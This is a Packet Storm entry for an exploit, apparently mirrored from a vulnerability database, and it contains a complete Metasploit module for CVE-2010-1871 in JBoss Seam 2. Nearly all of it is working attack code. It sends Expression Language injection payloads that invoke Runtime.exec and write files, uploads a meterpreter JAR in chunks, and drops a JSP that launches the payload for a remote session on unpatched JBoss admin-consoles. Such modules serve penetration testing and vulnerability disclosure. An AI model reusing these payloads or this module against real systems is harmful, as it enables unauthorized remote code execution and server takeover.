Lucene search

K
packetstormVulp1n3PACKETSTORM:131287
HistoryApr 03, 2015 - 12:00 a.m.

JBoss Seam 2 File Upload / Execute

2015-04-0300:00:00
vulp1n3
packetstormsecurity.com
86

0.968 High

EPSS

Percentile

99.6%

`#  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'rex/proto/http'  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Exploit::FileDropper  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'JBoss Seam 2 File Upload and Execute',  
'Description' => %q{  
Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly  
sanitize inputs to some JBoss Expression Language expressions. As a  
result, attackers can gain remote code execution through the  
application server. This module leverages RCE to upload and execute  
a meterpreter payload.  
  
Versions of the JBoss AS admin-console are known to be vulnerable to  
this exploit, without requiring authentication. Tested against  
JBoss AS 5 and 6, running on Linux with JDKs 6 and 7.  
  
This module provides a more efficient method of exploitation - it  
does not loop to find desired Java classes and methods.  
  
NOTE: the check for upload success is not 100% accurate.  
NOTE 2: The module uploads the meterpreter JAR and a JSP to launch  
it.  
  
},  
'Author' => [ 'vulp1n3 <vulp1n3[at]gmail.com>' ],  
'References' =>  
[  
# JBoss EAP 4.3.0 does not properly sanitize JBoss EL inputs  
['CVE', '2010-1871'],  
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=615956'],  
['URL', 'http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html'],  
['URL', 'http://archives.neohapsis.com/archives/bugtraq/2013-05/0117.html']  
],  
'DisclosureDate' => "Aug 05 2010",  
'License' => MSF_LICENSE,  
'Platform' => %w{ java },  
'Targets' =>  
[  
[ 'Java Universal',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'java'  
},  
]  
],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('AGENT', [ true, "User-Agent to send with requests", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"]),  
OptString.new('CTYPE', [ true, "Content-Type to send with requests", "application/x-www-form-urlencoded"]),  
OptString.new('TARGETURI', [ true, "URI that is built on JBoss Seam 2", "/admin-console/login.seam"]),  
OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]),  
OptString.new('FNAME', [ false, "Name of file to create - NO EXTENSION! (default: random)", nil]),  
OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]),  
], self.class)  
end  
  
  
def check  
vprint_status("#{rhost}:#{rport} Checking for vulnerable JBoss Seam 2")  
uri = target_uri.path  
res = send_request_cgi(  
{  
'uri' => normalize_uri(uri),  
'method' => 'POST',  
'ctype' => datastore['CTYPE'],  
'agent' => datastore['AGENT'],  
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}"  
}, timeout=datastore['TIMEOUT'])  
if (res and res.code == 302 and res.headers['Location'])  
vprint_debug("Server sent a 302 with location")  
if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29))  
report_vuln({  
:host => rhost,  
:port => rport,  
:name => "#{self.name} - #{uri}",  
:refs => self.references,  
:info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource."  
})  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
else  
return Exploit::CheckCode::Unknown  
end  
  
# If we reach this point, we didn't find the service  
return Exploit::CheckCode::Unknown  
end  
  
  
def execute_cmd(cmd)  
cmd_to_run = Rex::Text.uri_encode(cmd)  
vprint_status("#{rhost}:#{rport} Sending command: #{cmd_to_run}")  
uri = target_uri.path  
res = send_request_cgi(  
{  
'uri' => normalize_uri(uri),  
'method' => 'POST',  
'ctype' => datastore['CTYPE'],  
'agent' => datastore['AGENT'],  
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('#{cmd_to_run}')}"  
}, timeout=datastore['TIMEOUT'])  
if (res and res.code == 302 and res.headers['Location'])  
if (res.headers['Location'] =~ %r(user=java.lang.UNIXProcess))  
vprint_status("#{rhost}:#{rport} Exploit successful")  
else  
vprint_status("#{rhost}:#{rport} Exploit failed.")  
end  
else  
vprint_status("#{rhost}:#{rport} Exploit failed.")  
end  
end  
  
  
def call_jsp(jspname)  
# TODO ugly way to strip off last resource on a path  
uri = target_uri.path  
*keep,ignore = uri.split(/\//)  
keep.push(jspname)  
uri = keep.join("/")  
uri = "/" + uri if (uri[0] != "/")  
  
res = send_request_cgi(  
{  
'uri' => normalize_uri(uri),  
'method' => 'POST',  
'ctype' => datastore['CTYPE'],  
'agent' => datastore['AGENT'],  
'data' => "sessionid=" + Rex::Text.rand_text_alpha(32)  
}, timeout=datastore['TIMEOUT'])  
if (res and res.code == 200)  
vprint_status("Successful request to JSP")  
else  
vprint_error("Failed to request JSP")  
end  
end  
  
  
def upload_jsp(filename,jarname)  
jsp_text = <<EOJSP  
<%@ page import="java.io.*"  
%><%@ page import="java.net.*"  
%><%  
URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("/#{jarname}")).toURI().toURL()});  
Class c = cl.loadClass("metasploit.Payload");  
c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});  
%>  
EOJSP  
vprint_status("Uploading JSP to launch payload")  
status = upload_file_chunk(filename,'false',jsp_text)  
if status  
vprint_status("JSP uploaded to to #{filename}")  
else  
vprint_error("Failed to upload file.")  
end  
  
@pl_sent = true  
end  
  
  
def upload_file_chunk(filename, append='false', chunk)  
# create URL-safe Base64-encoded version of chunk  
b64 = Rex::Text.encode_base64(chunk)  
b64 = b64.gsub("+","%2b")  
b64 = b64.gsub("/","%2f")  
  
uri = target_uri.path  
res = send_request_cgi(  
{  
'uri' => normalize_uri(uri),  
'method' => 'POST',  
'ctype' => datastore['CTYPE'],  
'agent' => datastore['AGENT'],  
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/'),#{append}).write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=" + b64  
}, timeout=datastore['TIMEOUT'])  
if (res and res.code == 302 and res.headers['Location'])  
# TODO Including the conversationId part in this regex might cause  
# failure on other Seam applications. Needs more testing  
if (res.headers['Location'] =~ %r(user=&conversationId))  
#vprint_status("#{rhost}:#{rport} Exploit successful.")  
return true  
else  
#vprint_status("#{rhost}:#{rport} Exploit failed.")  
return false  
end  
else  
#vprint_status("#{rhost}:#{rport} Exploit failed.")  
return false  
end  
end  
  
  
def get_full_path(filename)  
#vprint_debug("Trying to find full path for #{filename}")  
  
uri = target_uri.path  
res = send_request_cgi(  
{  
'uri' => normalize_uri(uri),  
'method' => 'POST',  
'ctype' => datastore['CTYPE'],  
'agent' => datastore['AGENT'],  
'data' => "actionOutcome=/success.xhtml?user%3d%23{request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/')}"  
}, timeout=datastore['TIMEOUT'])  
if (res and res.code == 302 and res.headers['Location'])  
# the user argument should be set to the result of our call - which  
# will be the full path of our file  
matches = /.*user=(.+)\&.*/.match(res.headers['Location'])  
#vprint_debug("Location is " + res.headers['Location'])  
if (matches and matches.captures)  
return Rex::Text::uri_decode(matches.captures[0])  
else  
return nil  
end  
else  
return nil  
end  
end  
  
  
def java_stager(fname, chunk_size)  
@payload_exe = fname + ".jar"  
jsp_name = fname + ".jsp"  
  
#data = payload.encoded_jar.pack  
data = payload.encoded_jar.pack  
  
append = 'false'  
while (data.length > chunk_size)  
status = upload_file_chunk(@payload_exe, append, data[0, chunk_size])  
if status  
vprint_debug("Uploaded chunk")  
else  
vprint_error("Failed to upload chunk")  
break  
end  
data = data[chunk_size, data.length - chunk_size]  
# first chunk is an overwrite, afterwards, we need to append  
append = 'true'  
end  
status = upload_file_chunk(@payload_exe, 'true', data)  
if status  
vprint_status("Payload uploaded to " + @payload_exe)  
else  
vprint_error("Failed to upload file.")  
end  
  
# write a JSP that can call the payload in the jar  
upload_jsp(jsp_name, @payload_exe)  
  
pe_path = get_full_path(@payload_exe) || @payload_exe  
jsp_path = get_full_path(jsp_name) || jsp_name  
# try to clean up our stuff;  
register_files_for_cleanup(pe_path, jsp_path)  
  
# call the JSP to launch the payload  
call_jsp(jsp_name)  
end  
  
def exploit  
@pl_sent = false  
  
if check == Exploit::CheckCode::Vulnerable  
  
fname = datastore['FNAME'] || Rex::Text.rand_text_alpha(8+rand(8))  
  
vprint_status("#{rhost}:#{rport} Host is vulnerable")  
vprint_status("#{rhost}:#{rport} Uploading file...")  
  
# chunking code based on struts_code_exec_exception_delegator  
append = 'false'  
chunk_size = datastore['CHUNKSIZE']  
# sanity check  
if (chunk_size <= 0)  
vprint_error("Invalid chunk size #{chunk_size}")  
return  
end  
  
vprint_debug("Sending in chunks of #{chunk_size}")  
  
case target['Platform']  
when 'java'  
java_stager(fname, chunk_size)  
else  
fail_with(Failure::NoTarget, 'Unsupported target platform!')  
end  
  
handler  
end  
end  
end  
  
`